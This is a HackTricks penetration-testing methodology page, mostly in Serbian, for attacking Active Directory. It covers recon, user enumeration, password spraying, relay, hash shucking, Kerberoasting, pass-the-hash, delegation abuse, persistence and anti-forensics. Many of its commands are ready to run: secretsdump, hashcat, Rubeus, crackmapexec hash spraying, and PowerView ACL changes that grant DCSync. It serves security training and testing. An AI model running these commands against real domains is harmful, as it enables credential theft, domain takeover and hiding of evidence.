Active Directory Metodologija
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovni pregled
Active Directory predstavlja osnovnu tehnologiju koja omogućava network administrators efikasno kreiranje i upravljanje domains, users i objects unutar mreže. Dizajniran je za skaliranje, olakšavajući organizovanje velikog broja korisnika u upravljive groups i subgroups, dok se kontrolišu access rights na različitim nivoima.
Struktura Active Directory sastoji se iz tri primarna sloja: domains, trees i forests. Domain obuhvata kolekciju objekata, kao što su users ili devices, koji dele zajedničku bazu podataka. Trees su grupe ovih domena povezane zajedničkom strukturom, a forest predstavlja skup više trees, međusobno povezanih kroz trust relationships, formirajući najviši nivo organizacione strukture. Specifična access i communication rights mogu biti dodeljena na svakom od ovih nivoa.
Ključni koncepti unutar Active Directory uključuju:
- Directory – Sadrži sve informacije koje se odnose na Active Directory objekat.
- Object – Označava entitete u direktorijumu, uključujući users, groups ili shared folders.
- Domain – Služi kao kontejner za directory objekte, pri čemu više domena može koegzistirati unutar forest, svaki održavajući sopstvenu kolekciju objekata.
- Tree – Grupisanje domena koja dele zajednički root domain.
- Forest – Najviši nivo organizacione strukture u Active Directory, sastavljen od više trees sa trust relationships među njima.
Active Directory Domain Services (AD DS) obuhvata niz servisa ključnih za centralizovano upravljanje i komunikaciju u mreži. Ovi servisi obuhvataju:
- Domain Services – Centralizuje skladištenje podataka i upravlja interakcijama između users i domains, uključujući authentication i search funkcionalnosti.
- Certificate Services – Nadgleda kreiranje, distribuciju i upravljanje sigurnim digital certificates.
- Lightweight Directory Services – Podržava directory-enabled aplikacije putem LDAP protocol.
- Directory Federation Services – Pruža single-sign-on mogućnosti za autentifikaciju korisnika preko više web aplikacija u jednoj sesiji.
- Rights Management – Pomaže u zaštiti autorskog materijala regulisanjem njegove neovlašćene distribucije i upotrebe.
- DNS Service – Ključan za rešavanje domain names.
For a more detailed explanation check: TechTerms - Active Directory Definition
Kerberos Authentication
To learn how to attack an AD you need to understand really good the Kerberos authentication process.
Read this page if you still don’t know how it works.
Kratki vodič
You can take a lot to https://wadcoms.github.io/ to have a quick view of which commands you can run to enumerate/exploit an AD.
Warning
Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, it’ll use NTLM and not kerberos.
Recon Active Directory (No creds/sessions)
Ako imate pristup AD okruženju ali nemate nikakve credentials/sessions, možete:
- Pentest the network:
- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte exploit vulnerabilities ili extract credentials iz njih (na primer, printers could be very interesting targets).
- Enumerating DNS može dati informacije o ključnim serverima u domenu kao što su web, printers, shares, vpn, media, itd.
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt- Pogledajte General Pentesting Methodology za više informacija o tome kako ovo izvesti.
- Check for null and Guest access on smb services (ovo neće raditi na modernim verzijama Windows-a):
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //- Detaljniji vodič kako da enumerišete SMB server možete pronaći ovde:
- Enumerate Ldap
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>- Detaljniji vodič kako da enumerišete LDAP možete pronaći ovde (posvetite posebnu pažnju anonymous access):
389, 636, 3268, 3269 - Pentesting LDAP
- Poison the network
- Prikupite credentials impersonating services with Responder: impersonating services with Responder
- Pristupite hostu abusing the relay attack: abusing the relay attack
- Prikupite credentials exposing fake UPnP services with evil-S: evil-SSDP
- OSINT:
- Izvucite usernames/ime iz internih dokumenata, social media, servisa (uglavnom web) unutar domain okruženja, kao i iz javno dostupnih izvora.
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD username conventions (read this). Najčešće konvencije su: NameSurname, Name.Surname, NamSur (3 slova od svakog), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, 3 random letters and 3 random numbers (abc123).
- Alati:
- w0Tx/generate-ad-username
- urbanadventurer/username-anarchy
User enumeration
- Anonymous SMB/LDAP enum: Pogledajte stranice pentesting SMB i pentesting LDAP.
- Kerbrute enum: Kada se zahteva invalid username, server će odgovoriti koristeći Kerberos error kod KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, što nam omogućava da utvrdimo da je username nevažeći. Valid usernames će izazvati ili TGT in a AS-REP response ili grešku KRB5KDC_ERR_PREAUTH_REQUIRED, što ukazuje da se od korisnika zahteva pre-authentication.
- No Authentication against MS-NRPC: Korišćenjem auth-level = 1 (No authentication) protiv MS-NRPC (Netlogon) interfejsa na domain controller-ima. Metoda poziva funkciju
DsrGetDcNameEx2nakon bindovanja MS-NRPC interfejsa kako bi proverila da li korisnik ili računar postoji bez ikakvih credentials. Alat NauthNRPC implementira ovaj tip enumeracije. Istraživanje se može pronaći ovde
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
- OWA (Outlook Web Access) Server
Ako pronađete jedan od ovih servera u mreži, možete takođe izvesti user enumeration protiv njega. Na primer, možete koristiti alat MailSniper:
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
Warning
Možete pronaći liste korisničkih imena u this github repo i u ovom (statistically-likely-usernames).
Međutim, trebalo bi da imate imena osoba koje rade u kompaniji iz recon faze koju ste prethodno trebali da izvršite. Sa imenom i prezimenom možete koristiti skript namemash.py da generišete potencijalna važeća korisnička imena.
Ako znate jedno ili više korisničkih imena
U redu, dakle već imate važeće korisničko ime, ali nemate lozinke… Probajte:
- ASREPRoast: Ako korisnik nema atribut DONT_REQ_PREAUTH možete zatražiti AS_REP poruku za tog korisnika koja će sadržati neke podatke šifrovane izvedenicom lozinke korisnika.
- Password Spraying: Probajte najčešće lozinke za svakog od otkrivenih korisnika — možda neko koristi lošu lozinku (imajte na umu politiku lozinki!).
- Napomena: takođe možete spray OWA servers da pokušate da dobijete pristup korisničkim mail serverima.
Password Spraying / Brute Force
LLMNR/NBT-NS Poisoning
Možda ćete moći da nabavite neke challenge hashes za razbijanje vršenjem poisoning nekih protokola na mreži:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NTLM Relay
Ako ste uspeli da enumerišete Active Directory imaćete više emailova i bolje razumevanje mreže. Možda ćete moći da primorate NTLM relay attacks da biste dobili pristup AD okruženju.
NetExec workspace-driven recon & relay posture checks
- Koristite
nxcdbworkspaces za čuvanje stanja AD recon-a po angažmanu:workspace create <name>kreira per-protocol SQLite DB-ove pod~/.nxc/workspaces/<name>(smb/mssql/winrm/ldap/etc). Prebacujte prikaze saproto smb|mssql|winrmi listajte prikupljene tajne sacreds. Ručno obrišite osetljive podatke kada završite:rm -rf ~/.nxc/workspaces/<name>. - Brzo otkrivanje podmreže pomoću
netexec smb <cidr>otkriva domain, OS build, SMB signing requirements, i Null Auth. Članovi koji prikazuju(signing:False)su relay-prone, dok DCs često zahtevaju signing. - Generišite hostnames in /etc/hosts direktno iz NetExec izlaza kako biste olakšali targetiranje:
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
- Kada je SMB relay to the DC is blocked zbog signing-a, ipak proverite LDAP posture:
netexec ldap <dc>ističe(signing:None)/ weak channel binding. DC sa obaveznim SMB signing-om ali onemogućenim LDAP signing-om i dalje predstavlja održiv relay-to-LDAP target za zloupotrebe kao što je SPN-less RBCD.
Klijentski printer credential leaks → masovna validacija domenskih kredencijala
- Printer/web UI ponekad ugrađuju maskirane administratorske lozinke u HTML. Pregled source/devtools može otkriti cleartext (npr.,
<input value="<password>">), što omogućava Basic-auth pristup repozitorijumima za skeniranje/štampu. - Preuzeti print jobovi mogu sadržati plaintext onboarding docs sa lozinkama po korisniku. Prilikom testiranja držite parove usklađenim:
cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success
Krađa NTLM Creds
Ako možete da pristupite drugim PC-jevima ili share-ovima pomoću null ili guest user, možete postaviti fajlove (kao što je SCF file) koji, ako se na neki način pristupi njima, će pokrenuti NTLM authentication prema vama tako da možete steal NTLM challenge i crack-ovati ga:
Hash Shucking & NT-Candidate Attacks
Hash shucking tretira svaki NT hash koji već posedujete kao kandidat-šifru za druge, sporije formate čiji se ključni materijal direktno izvodi iz NT hash-a. Umesto da brute-force-ujete duge passphrase-e u Kerberos RC4 tiketima, NetNTLM izazovima, ili cached credentials, ubacite NT hash-e u Hashcat-ove NT-candidate mode-ove i pustite ga da validira reuse password-a bez ikada saznanja plaintext-a. Ovo je posebno efikasno nakon kompromitovanja domena gde možete harvest-ovati na hiljade aktuelnih i istorijskih NT hash-eva.
Koristite shucking kada:
- Imate NT korpus iz DCSync, SAM/SECURITY dump-ova, ili credential vault-ova i treba da testirate reuse u drugim domenima/forest-ovima.
- Uhvatite RC4-based Kerberos materijal (
$krb5tgs$23$,$krb5asrep$23$), NetNTLM odgovore, ili DCC/DCC2 blob-ove. - Želite brzo da dokažete reuse za duge, neprobijive passphrase-e i odmah pivot-ujete putem Pass-the-Hash.
Tehnika ne radi protiv encryption tipova čiji ključevi nisu NT hash (npr. Kerberos etype 17/18 AES). Ako domen forsira samo AES, morate se vratiti na regularne password mode-ove.
Building an NT hash corpus
- DCSync/NTDS – Koristite
secretsdump.pysa history da izvučete što veći skup NT hash-eva (i njihovih prethodnih vrednosti):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
History unosi znatno šire kandidat-pool zato što Microsoft može da čuva do 24 prethodna hasha po nalogu. Za više načina kako da harvest-ujete NTDS secrets, pogledajte:
- Endpoint cache dumps –
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(ili Mimikatzlsadump::sam /patch) ekstrahuje lokalne SAM/SECURITY podatke i cached domain logons (DCC/DCC2). Deduplicirajte i append-ujte te hashe u istint_candidates.txtfajl. - Track metadata – Čuvajte username/domain koji je proizveo svaki hash (čak i ako wordlist sadrži samo hex). Matching hashevi odmah govore koji principal reuse-uje password čim Hashcat ispiše pobednički kandidat.
- Preferirajte kandidate iz istog forest-a ili trusted forest-a; to maksimizira šansu za overlap prilikom shuck-ovanja.
Hashcat NT-candidate modes
| Hash Type | Password Mode | NT-Candidate Mode |
|---|---|---|
| Domain Cached Credentials (DCC) | 1100 | 31500 |
| Domain Cached Credentials 2 (DCC2) | 2100 | 31600 |
| NetNTLMv1 / NetNTLMv1+ESS | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberos 5 etype 23 AS-REQ Pre-Auth | 7500 | N/A |
| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100 | 35300 |
| Kerberos 5 etype 23 AS-REP | 18200 | 35400 |
Notes:
- NT-candidate inputs moras da ostanu raw 32-hex NT hashes. Isključite rule engine-e (bez
-r, bez hybrid mode-ova) jer mangling kvari kandidat key materijal. - Ovi mode-ovi nisu inherentno brži, ali NTLM keyspace (~30,000 MH/s na M3 Max) je ~100× brži od Kerberos RC4 (~300 MH/s). Testiranje kuriranog NT lista je mnogo jeftinije nego istraživanje celog password prostora u sporom formatu.
- Uvek koristite najnoviju Hashcat build (
git clone https://github.com/hashcat/hashcat && make install) jer su mode-ovi 31500/31600/35300/35400 stigli nedavno. - Trenutno ne postoji NT mode za AS-REQ Pre-Auth, i AES etype-ovi (19600/19700) zahtevaju plaintext password jer se njihovi ključevi izvode preko PBKDF2 iz UTF-16LE password-a, a ne iz raw NT hash-a.
Example – Kerberoast RC4 (mode 35300)
- Uhvati RC4 TGS za ciljani SPN sa low-privileged user-om (vidi Kerberoast stranicu za detalje):
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
- Shuck-uj tiket koristeći svoj NT list:
hashcat -m 35300 roastable_TGS nt_candidates.txt
Hashcat izvodi RC4 ključ iz svakog NT kandidata i validira $krb5tgs$23$... blob. Match potvrđuje da service account koristi jedan od vaših postojećih NT hash-eva.
- Odmah pivot-ujte putem PtH:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
Opcionalno možete kasnije oporaviti plaintext sa hashcat -m 1000 <matched_hash> wordlists/ ako je potrebno.
Example – Cached credentials (mode 31600)
- Dump-ujte cached logons sa kompromitovane workstation:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
- Kopirajte DCC2 liniju za interesantnog domain user-a u
dcc2_highpriv.txti shuck-ujte:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
- Uspešan match daje NT hash koji je već poznat u vašoj listi, dokazujući da cached user reuse-uje password. Koristite ga direktno za PtH (
nxc smb <dc_ip> -u highpriv -H <hash>) ili ga brute-force-ujte u brzom NTLM modu da oporavite string.
Isti workflow se primenjuje za NetNTLM challenge-response (-m 27000/27100) i DCC (-m 31500). Kada se match identifikuje, možete pokrenuti relay, SMB/WMI/WinRM PtH, ili ponovo crack-ovati NT hash sa maskama/rules offline.
Enumerating Active Directory WITH credentials/session
Za ovu fazu morate da imate kompromitovane credentials ili session važećeg domain naloga. Ako imate neke validne credentials ili shell kao domain user, treba da zapamtite da prethodno navedene opcije i dalje ostaju načini da kompromitujete druge korisnike.
Pre nego što započnete authenticated enumeration treba da znate šta je Kerberos double hop problem.
Enumeration
Kompromitovanje naloga je velik korak ka kompromitovanju celog domena, jer ćete moći da započnete Active Directory Enumeration:
Što se tiče ASREPRoast sada možete pronaći sve moguće vulnerable korisnike, a što se tiče Password Spraying možete dobiti listu svih korisničkih imena i pokušati password kompromitovanog naloga, prazne lozinke i nove potencijalne lozinke.
- Možete koristiti CMD to perform a basic recon
- Takođe možete koristiti powershell for recon što će biti stealthier
- Možete koristiti i powerview za ekstrakciju detaljnijih informacija
- Još jedan odličan alat za recon u Active Directory je BloodHound. Nije veoma stealthy (zavisno od metoda sakupljanja koje koristite), ali ako vam stealth nije bitan, definitivno ga isprobajte. Nađite gde korisnici mogu RDP-ovati, pronađite puteve do drugih grupa, itd.
- Drugi automatizovani AD enumeration alati su: AD Explorer, ADRecon, Group3r, PingCastle.
- DNS records of the AD jer mogu sadržati zanimljive informacije.
- Alat sa GUI koji možete koristiti za enumeraciju direktorijuma je AdExplorer.exe iz SysInternal Suite.
- Takođe možete pretraživati LDAP bazu sa ldapsearch da tražite credentials u poljima userPassword & unixUserPassword, ili čak u Description. cf. Password in AD User comment on PayloadsAllTheThings za druge metode.
- Ako koristite Linux, možete takođe enumerisati domen koristeći pywerview.
- Možete takođe isprobati automatizovane alate kao:
- tomcarver16/ADSearch
- 61106960/adPEAS
- Extracting all domain users
Vrlo je lako dobiti sva korisnička imena domena iz Windows-a (net user /domain ,Get-DomainUser ili wmic useraccount get name,sid). U Linux-u možete koristiti: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username ili enum4linux -a -u "user" -p "password" <DC IP>
Čak i ako ova Enumeration sekcija izgleda kratko, ovo je najvažniji deo svega. Otvorite linkove (uglavnom one za cmd, powershell, powerview i BloodHound), naučite kako da enumerišete domen i vežbajte dok ne budete sigurni. Tokom assessment-a, ovo će biti ključni trenutak da pronađete put do DA ili da odlučite da ništa ne možete učiniti.
Kerberoast
Kerberoasting podrazumeva dobijanje TGS tiketa koje koriste servisi vezani za korisničke naloge i crack-ovanje njihove enkripcije — koja se bazira na korisničkim lozinkama — offline.
Više o tome u:
Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Jednom kada dobijete neke credentials, možete proveriti da li imate pristup nekom mašini. Za to možete koristiti CrackMapExec da pokušate konekciju na više servera koristeći različite protokole, u skladu sa vašim port scan-ovima.
Local Privilege Escalation
Ako imate kompromitovane credentials ili session kao običan domain user i imate pristup tom korisniku na bilo kojoj mašini u domenu, treba da pokušate da pronađete način da povisite privilegije lokalno i loot-ujete credentials. Samo sa lokalnim administrator privilegijama moći ćete da dump-ujete hash-eve drugih korisnika iz memorije (LSASS) i lokalno (SAM).
Postoji kompletna stranica u ovoj knjizi o local privilege escalation in Windows i checklist. Takođe, ne zaboravite da koristite WinPEAS.
Current Session Tickets
Veoma je neverovatno da ćete naći tikete u trenutnom korisniku koji vam daju permisiju za pristup neočekivanim resursima, ali možete proveriti:
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
NTLM Relay
Ako uspete da enumerišete Active Directory imaćete više e‑mail adresa i bolje razumevanje mreže. Možda ćete moći da prisilite NTLM relay attacks.
Traži Creds u deljenim računarima | SMB Shares
Sada kada imate neke osnovne credentials trebalo bi da proverite da li možete pronaći bilo koje zanimljive fajlove koji se dele unutar AD. To možete raditi ručno, ali je veoma dosadan i repetitivan zadatak (pogotovo ako nađete stotine dokumenata koje treba proveriti).
Pratite ovaj link da biste saznali o alatima koje možete koristiti.
Steal NTLM Creds
Ako možete pristupiti drugim PC-evima ili share-ovima mogli biste postaviti fajlove (kao SCF fajl) koji, ako se nekako pristupi njima, će pokrenuti NTLM autentifikaciju prema vama tako da možete ukrasti NTLM challenge kako biste ga razbili:
CVE-2021-1675/CVE-2021-34527 PrintNightmare
Ova ranjivost je omogućavala bilo kojem autentifikovanom korisniku da kompromituje domain controller.
Privilege escalation na Active Directory SA privilegovanim kredencijalima/sesijom
Za sledeće tehnike običan domain user nije dovoljan, potrebne su vam neke specijalne privilegije/credentials da biste izveli ove napade.
Hash extraction
Nadamo se da ste uspeli da kompromitujete neki local admin account koristeći AsRepRoast, Password Spraying, Kerberoast, Responder uključujući relaying, EvilSSDP, escalating privileges locally.
Zatim je vreme da iskopate sve hashes iz memorije i lokalno.
Pročitajte ovu stranicu o različitim načinima dobijanja hash-ova.
Pass the Hash
Kada imate hash korisnika, možete ga koristiti da ga imitirate.
Treba da koristite neki tool koji će izvršiti NTLM autentifikaciju koristeći taj hash, ili možete kreirati novi sessionlogon i inject-ovati taj hash u LSASS, pa kada se izvrši bilo koja NTLM autentifikacija, taj hash će biti korišćen. Poslednja opcija je ono što radi mimikatz.
Pročitajte ovu stranicu za više informacija.
Over Pass the Hash/Pass the Key
Ovaj napad ima za cilj da koristi korisnikov NTLM hash za zahtev Kerberos tiketa, kao alternativa uobičajenom Pass The Hash preko NTLM protokola. Stoga, ovo može biti posebno korisno u mrežama gde je NTLM protokol onemogućen i gde je dozvoljen samo Kerberos kao protokol autentifikacije.
Over Pass the Hash/Pass the Key
Pass the Ticket
U metodi napada Pass The Ticket (PTT), napadači kradu korisnikov autentifikacioni tiket umesto njegove lozinke ili hash vrednosti. Taj ukradeni tiket se potom koristi da imitira korisnika, stičući neovlašćeni pristup resursima i servisima unutar mreže.
Credentials Reuse
Ako imate hash ili password lokalnog administratora trebalo bi da pokušate da se lokalno prijavite na druge PC-e koristeći iste podatke.
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
Warning
Imajte na umu da je ovo prilično bučno i da bi LAPS to ublažio.
MSSQL zlopotreba i pouzdane veze
Ako korisnik ima privilegije za access MSSQL instances, mogao bi da ih iskoristi za execute commands na MSSQL hostu (ako proces radi kao SA), da steal NetNTLM hash ili čak da izvede relay attack.
Takođe, ako je MSSQL instanca trustovana (database link) od strane druge MSSQL instance — ako korisnik ima privilegije nad trustovanom bazom, moći će da use the trust relationship to execute queries also in the other instance. Ove trust veze se mogu lančano povezivati i u nekom trenutku korisnik može pronaći pogrešno konfigurisan DB gde može da izvršava komande.
Veze između baza rade čak i preko forest trusts.
Zlopotreba platformi za IT asset/deployment
Third-party inventory i deployment suite često otkrivaju moćne puteve do credentials i izvršenja koda. Pogledajte:
Sccm Management Point Relay Sql Policy Secrets
Unconstrained Delegation
Ako pronađete bilo koji Computer object sa atributom ADS_UF_TRUSTED_FOR_DELEGATION i imate privilegije na tom računaru u domenu, bićete u stanju da dumpujete TGTs iz memorije svakog korisnika koji se loguje na taj računar.
Dakle, ako se Domain Admin logins onto the computer, moći ćete da dumpujete njegov TGT i da ga impersonate pomoću Pass the Ticket.
Zahvaljujući constrained delegation možete čak i automatski kompromitovati Print Server (nadamo se da će to biti DC).
Constrained Delegation
Ako je korisniku ili računaru dozvoljen “Constrained Delegation”, on će moći da impersonate any user to access some services in a computer.
Zatim, ako compromise the hash tog korisnika/računara, moći ćete da impersonate any user (čak i domain admins) da biste pristupili određenim servisima.
Resourced-based Constrain Delegation
Imati WRITE privilegiju na Active Directory objektu udaljenog računara omogućava dobijanje izvršavanja koda sa elevated privileges:
Resource-based Constrained Delegation
Zlopotreba Permissions/ACLs
Kompromitovani korisnik mogao bi imati neke interesantne privilegije nad nekim domain objektima koje bi vam mogle omogućiti lateral move ili escalate privilegija.
Abusing Active Directory ACLs/ACEs
Zlopotreba Printer Spooler servisa
Otkrivanje Spool servisa koji osluškuje unutar domena može se zloupotrebiti za acquire new credentials i escalate privileges.
Force NTLM Privileged Authentication
Zlopotreba sesija trećih strana
Ako drugi korisnici access kompromitovani računar, moguće je gather credentials from memory i čak inject beacons in their processes kako biste ih impersonate-ovali.
Obično će se korisnici povezivati putem RDP-a, pa evo kako izvesti par napada nad RDP sesijama trećih strana:
LAPS
LAPS obezbeđuje sistem za upravljanje local Administrator password na računarima pridruženim domenu, osiguravajući da su nasumični, jedinstveni i često menjani. Ovi passwords su skladišteni u Active Directory i pristup im je kontrolisan kroz ACLs samo autorizovanim korisnicima. Sa dovoljnim permisijama za pristup ovim password-ima, pivotovanje na druge računare postaje moguće.
Certificate Theft
Gathering certificates sa kompromitovanog računara može biti način za eskalaciju privilegija unutar okruženja:
Certificate Templates Abuse
Ako su konfigurirani vulnerable templates, moguće ih je zloupotrebiti za eskalaciju privilegija:
Post-eksploatacija sa nalogom visokih privilegija
Dumping Domain Credentials
Kada dobijete Domain Admin ili još bolje Enterprise Admin privilegije, možete dump domain database: ntds.dit.
Više informacija o DCSync attack možete naći ovde.
Više informacija o tome kako ukrasti NTDS.dit možete naći ovde
Privesc kao Persistence
Neke od ranije opisanih tehnika mogu se koristiti za održavanje pristupa (persistence).
Na primer, možete:
- Učiniti korisnike podložnim Kerberoast
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
- Učiniti korisnike podložnim ASREPRoast
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Dodeliti DCSync privilegije korisniku
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
Silver Ticket
Silver Ticket attack kreira legitimnu Ticket Granting Service (TGS) kartu za određeni servis koristeći NTLM hash (na primer, hash PC account-a). Ova metoda se koristi za pristup privilegijama servisa.
Golden Ticket
Golden Ticket attack podrazumeva da napadač dobije pristup NTLM hash-u krbtgt account u Active Directory okruženju. Taj nalog se koristi za potpisivanje svih Ticket Granting Tickets (TGTs), koji su ključni za autentikaciju unutar AD mreže.
Kada napadač dobije ovaj hash, može da kreira TGTs za bilo koji nalog po izboru (Silver ticket attack).
Diamond Ticket
Ovo su poput Golden Ticket-ova, ali falsifikovani na način koji zaobilazi uobičajene mehanizme detekcije za Golden Ticket.
Certificates Account Persistence
Imati sertifikate naloga ili biti u mogućnosti da ih zahtevaš je veoma dobar način da se zadrži pristup korisničkom nalogu (čak i ako korisnik promeni lozinku):
Certificates Domain Persistence
Korišćenjem sertifikata takođe je moguće zadržati visoke privilegije unutar domena:
AdminSDHolder Group
Objekat AdminSDHolder u Active Directory obezbeđuje sigurnost privilegovanih grupa (kao što su Domain Admins i Enterprise Admins) primenom standardnog Access Control List (ACL) preko ovih grupa kako bi se sprečile neovlašćene izmene. Međutim, ova zaštita se može zloupotrebiti; ako napadač izmeni AdminSDHolder-ov ACL kako bi dao potpuni pristup običnom korisniku, taj korisnik dobija široku kontrolu nad svim privilegovanim grupama. Ova mera, zamišljena da štiti, može se obiti o glavu ako se ne prati pažljivo.
Više informacija o AdminDSHolder Group ovde.
DSRM Credentials
Unutar svakog Domain Controller (DC) postoji lokalni administrator nalog. Dobijanjem admin prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći mimikatz. Nakon toga je potrebna izmena registra da bi se omogućilo korišćenje te lozinke, omogućavajući udaljeni pristup lokalnom Administrator nalogu.
ACL Persistence
Možete dodeliti neke specijalne permisije korisniku nad određenim domain objektima koje će mu omogućiti escalate privileges u budućnosti.
Abusing Active Directory ACLs/ACEs
Security Descriptors
Security descriptors se koriste za čuvanje permissions koje objekat ima nad nekim resursom. Ako možete napraviti i mali izmenu u security descriptor-u objekta, možete dobiti veoma interesantne privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
Dynamic Objects Anti-Forensics / Evasion
Zloupotrebite dynamicObject auxiliary class da kreirate kratkotrajne principe/GPO/DNS zapise sa entryTTL/msDS-Entry-Time-To-Die; sami se brišu bez tombstones, brišu LDAP dokaze ostavljajući orphan SIDs, broken gPLink reference, ili keširane DNS odgovore (npr. AdminSDHolder ACE pollution ili maliciozni gPCFileSysPath/AD-integrisani DNS redirecti).
Ad Dynamic Objects Anti Forensics
Skeleton Key
Izmenite LSASS u memoriji da uspostavite univerzalnu lozinku, što omogućava pristup svim domain nalozima.
Custom SSP
Learn what is a SSP (Security Support Provider) here.
Možete napraviti svoj own SSP da capture u clear text kredencijale korišćene za pristup mašini.
DCShadow
Registruje novi Domain Controller u AD i koristi ga da push attributes (SIDHistory, SPNs…) na određene objekte bez ostavljanja logova o izmenama. Potrebne su DA privilegije i pristup root domain-u.
Napomena: ako unesete pogrešne podatke, pojaviće se prilično ružni logovi.
LAPS Persistence
Ranije smo diskutovali o tome kako eskalirati privilegije ako imate dovoljno permisija da pročitate LAPS passwords. Međutim, ove lozinke takođe mogu biti korišćene za održavanje persistance.
Pogledajte:
Eskalacija privilegija u Forest-u - Domain Trusts
Microsoft smatra Forest sigurnosnom granicom. To implicira da kompromitovanje jednog domena može dovesti do kompromitovanja celog Foresta.
Osnovne informacije
A domain trust je sigurnosni mehanizam koji omogućava korisniku iz jednog domena da pristupi resursima u drugom domenu. To u suštini stvara vezu između autentikacionih sistema ta dva domena, omogućavajući da autentikacioni zahtevi prolaze bez problema. Kada domeni uspostave trust, oni razmenjuju i čuvaju određene ključeve unutar svojih Domain Controllers (DCs), koji su ključni za integritet trust-a.
U tipičnom scenariju, ako korisnik želi pristup servisu u trusted domain, mora prvo zatražiti specijalnu kartu poznatu kao inter-realm TGT od svog domen kontrolera. Ovaj TGT je enkriptovan sa zajedničkim ključem koji su oba domena dogovorila. Zatim korisnik predstavlja ovaj TGT DC-u trusted domena da bi dobio servisnu kartu (TGS). Nakon uspešne verifikacije inter-realm TGT-a od strane DC-a trusted domena, taj DC izdaje TGS, dodeljujući korisniku pristup servisu.
Koraci:
- Klijent računar u Domain 1 pokreće proces koristeći svoj NTLM hash da zatraži Ticket Granting Ticket (TGT) od svog Domain Controller (DC1).
- DC1 izdaje novi TGT ako je klijent uspešno autentifikovan.
- Klijent zatim zatraži inter-realm TGT od DC1, koji je potreban za pristup resursima u Domain 2.
- Inter-realm TGT je enkriptovan sa trust key koji DC1 i DC2 dele kao deo dvosmernog domain trust-a.
- Klijent nosi inter-realm TGT do Domain 2’s Domain Controller (DC2).
- DC2 verifikuje inter-realm TGT koristeći svoj shared trust key i, ako je validan, izdaje Ticket Granting Service (TGS) za server u Domain 2 kojem klijent želi da pristupi.
- Na kraju, klijent prezentuje ovaj TGS serveru, koji je enkriptovan sa server-ovim account hash-om, kako bi dobio pristup servisu u Domain 2.
Different trusts
Važno je napomenuti da trust može biti jednosmeran ili dvosmeran. U dvosmernoj opciji oba domena će se međusobno verovati, ali u jednosmernom odnosu poverenja jedan od domena će biti trusted, a drugi trusting domain. U tom slučaju, moći ćete pristupiti resursima samo unutar trusting domena iz trusted domena.
